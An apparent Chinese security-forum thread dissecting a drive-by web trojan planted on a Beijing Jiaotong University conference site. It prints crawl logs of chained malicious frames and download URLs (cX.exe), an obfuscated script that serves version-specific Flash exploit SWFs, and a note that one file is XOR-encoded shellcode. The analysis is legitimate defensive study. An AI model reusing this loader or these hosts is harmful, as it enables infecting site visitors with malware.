http://mape09.bjtu.edu.cn/index.asp(北方交大的学术会议网址)

shadowmin

Log is generated by FreShow.
[wide]http://mape09.bjtu.edu.cn/index.asp
    [script]http://%6D%62%72%33%2E%63%6E
        [frame]http://wr.gjr45.cn/1/20/index.htm
            [frame]http://wr.gjr45.cn/1/20/index2.htm
                [frame]http://wr.gjr45.cn/1/20/ccqm.htm
                [script]http://wr.gjr45.cn/1/20/js.css
                    [frame]http://wr.gjr45.cn/1/20/hk14.htm
                        [script]http://wr.gjr45.cn/1/20/14.css
                            [object]http://s1.jud4g.com/1/cX.exe
                        [script]http://wr.gjr45.cn/1/20/15.css
                        [script]http://wr.gjr45.cn/1/20/16.css
                    [frame]http://wr.gjr45.cn/1/20/hkfl.htm
                    [frame]http://wr.gjr45.cn/1/20/hkvod.htm
                    [frame]http://wr.gjr45.cn/1/20/hkbb.htm
                    [frame]http://wr.gjr45.cn/1/20/hkzzx.htm
                    [frame]http://wr.gjr45.cn/1/20/hkff.htm
                    [frame]http://wr.gjr45.cn/1/20/hk122121.htm
            [script]http://js.tongji.cn.yahoo.com/1051137/ystat.js
            [script]http://count7.51much.com/cnt.php?uid=UA-1-12949&style=text&text=网站统计
    [script]http://%6D%62%72%38%2E%63%6E
    [script]http://%33%38%7A%75%2E%63%6E
    [script]http://%31%31%37%6C%61%2E%63%6E
    [script]http://%6D%62%72%33%2E%63%6E
    [script]http://%6D%62%72%38%2E%63%6E
    [script]http://%33%38%7A%75%2E%63%6E
    [script]http://%31%31%37%6C%61%2E%63%6E

xiaoqiang305

那啥 ，谁帮着解释下 这段是干什么的呗
document.writeln("<script type=\"text\/javascript\">");document.writeln("var version=deconcept.SWFObjectUtil.getPlayerVersion();");document.writeln("if(version[\'ma\'+\'jor\']==9){");document.writeln("    document.getElementById(\'safeYT\').innerHTML=\"\";");document.writeln("    if(version[\'rev\']==115){");document.writeln("        var so=new SWFObject(\".\/cf115.swf\",\"mymovie\",\"0.1\",\"0.1\",\"9\",\"#000000\");");document.writeln("        so.write(\"avstYT\")");document.writeln("    }else if(version[\'rev\']==47){");document.writeln("        var so=new SWFObject(\".\/cf47.swf\",\"mymovie\",\"0.1\",\"0.1\",\"9\",\"#000000\");");document.writeln("        so.write(\"avstYT\")");document.writeln("    }else if(version[\'rev\']==45){");document.writeln("        var so=new SWFObject(\".\/cf45.swf\",\"mymovie\",\"0.1\",\"0.1\",\"9\",\"#000000\");");document.writeln("        so.write(\"avstYT\")");document.writeln("    }else if(version[\'rev\']==64){");document.writeln("        var so=new SWFObject(\".\/cf64.swf\",\"mymovie\",\"0.1\",\"0.1\",\"9\",\"#000000\");");document.writeln("        so.write(\"avstYT\")");document.writeln("    }else if(version[\'rev\']==28){");document.writeln("        var so=new SWFObject(\".\/cf28.swf\",\"mymovie\",\"0.1\",\"0.1\",\"9\",\"#000000\");");document.writeln("        so.write(\"avstYT\")");document.writeln("    }else if(version[\'rev\']>=124){");document.writeln("        if(document.getElementById){");document.writeln("            document.getElementById(\'safeYT\').innerHTML=\"\"");document.writeln("        }");document.writeln("    }");document.writeln("}");document.writeln("<\/ScripT>")

knifed

利用flash软件漏洞生成swf网马.

cwjt

我们学校。

xiaoqiang305

挂的
Log is generated by FreShow.
[wide]http://mape09.bjtu.edu.cn/index.asp
    [script]http://mbr3.cn
        [frame]http://wr.gjr45.cn/1/20/index.htm
            [frame]http://wr.gjr45.cn/1/20/index2.htm
            [script]http://js.tongji.cn.yahoo.com/1051137/ystat.js
                [script]http://js.tongji.cn.yahoo.com/1051137/
            [script]http://count7.51much.com/cnt.php?uid=UA-1-12949&style=text&text=网站统计
    [script]http://mbr8.cn
        [frame]http://wr.gjr45.cn/1/20/index.htm
            [frame]http://wr.gjr45.cn/1/20/index2.htm
                [frame]http://wr.gjr45.cn/1/20/ccqm.htm
                    [object]http://s1.jud4g.com/1/ActivcX.exe
                [script]http://wr.gjr45.cn/1/20/js.css
                    [frame]http://wr.gjr45.cn/1/20/hk14.htm
                        [script]http://wr.gjr45.cn/1/20/14.css
                            [object]http://s1.jud4g.com/1/cX.exe
                        [script]http://wr.gjr45.cn/1/20/15.css
                        [script]http://wr.gjr45.cn/1/20/16.css
                    [frame]http://wr.gjr45.cn/1/20/hkfl.htm
                        [frame]http://wr.gjr45.cn/1/20/cc11.htm
                        [frame]http://wr.gjr45.cn/1/20/cc22.htm
                        [frame]http://wr.gjr45.cn/1/20/cc11.htm
                    [frame]http://wr.gjr45.cn/1/20/hkvod.htm
                        [script]http://wr.gjr45.cn/1/20/ccvod.css
                            [object]http://s1.jud4g.com/1/cX.exe
                        [script]http://wr.gjr45.cn/1/20/b.css
                        [script]http://wr.gjr45.cn/1/20/d.css
                    [frame]http://wr.gjr45.cn/1/20/hkbb.htm
                        [script]http://wr.gjr45.cn/1/20/bff1.css
                            [object]http://s1.jud4g.com/1/cX.exe
                        [script]http://wr.gjr45.cn/1/20/bff.css
                    [frame]http://wr.gjr45.cn/1/20/hkzzx.htm
                        [script]http://wr.gjr45.cn/1/20/091.css
                        [script]http://wr.gjr45.cn/1/20/092.css
                    [frame]http://wr.gjr45.cn/1/20/hkff.htm
                        [script]http://wr.gjr45.cn/1/20/ff.css
                            [object]http://s1.jud4g.com/1/cX.exe
                    [frame]http://wr.gjr45.cn/1/20/hk122121.htm
                        [script]http://wr.gjr45.cn/1/20/Turl.css
                            [object]http://s1.jud4g.com/1/cX.exe
                        [script]http://wr.gjr45.cn/1/20/real.css
                        [script]http://wr.gjr45.cn/1/20/real1.css
            [script]http://js.tongji.cn.yahoo.com/1051137/ystat.js
                [script]http://js.tongji.cn.yahoo.com/1051137/
            [script]http://count7.51much.com/cnt.php?uid=UA-1-12949&style=text&text=网站统计
    [script]http://38zu.cn
    [script]http://117la.cn
    [script]http://mbr3.cn
        [frame]http://wr.gjr45.cn/1/20/index.htm
            [frame]http://wr.gjr45.cn/1/20/index2.htm
                [frame]http://wr.gjr45.cn/1/20/ccqm.htm
                    [object]http://s1.jud4g.com/1/ActivcX.exe
                [script]http://wr.gjr45.cn/1/20/js.css
                    [frame]http://wr.gjr45.cn/1/20/hk14.htm
                    [frame]http://wr.gjr45.cn/1/20/hkfl.htm
                    [frame]http://wr.gjr45.cn/1/20/hkvod.htm
                    [frame]http://wr.gjr45.cn/1/20/hkbb.htm
                    [frame]http://wr.gjr45.cn/1/20/hkzzx.htm
                    [frame]http://wr.gjr45.cn/1/20/hkff.htm
                    [frame]http://wr.gjr45.cn/1/20/hk122121.htm
            [script]http://js.tongji.cn.yahoo.com/1051137/ystat.js
            [script]http://count7.51much.com/cnt.php?uid=UA-1-12949&style=text&text=网站统计
    [script]http://mbr8.cn
    [script]http://38zu.cn
    [script]http://117la.cn

后面的有几个链接不上上了，还有http://wr.gjr45.cn/1/20/bff.css

http://wr.gjr45.cn/1/20/091.css没解开

cwjt

http://wr.gjr45.cn/1/20/091.css是shellcode异或，密钥bc

http://s1.jud4g.com/1/cX.exe

xiaoqiang305

那这个有什么工具可以解么？还是怎么解的shellcode不好使。。。还有密匙是什么？
刚学 谢了~~~

cwjt

到这里看看http://bbs.kafan.cn/viewthread.php?tid=383769

xiaoqiang305

谢谢3楼 和8楼的 ~~~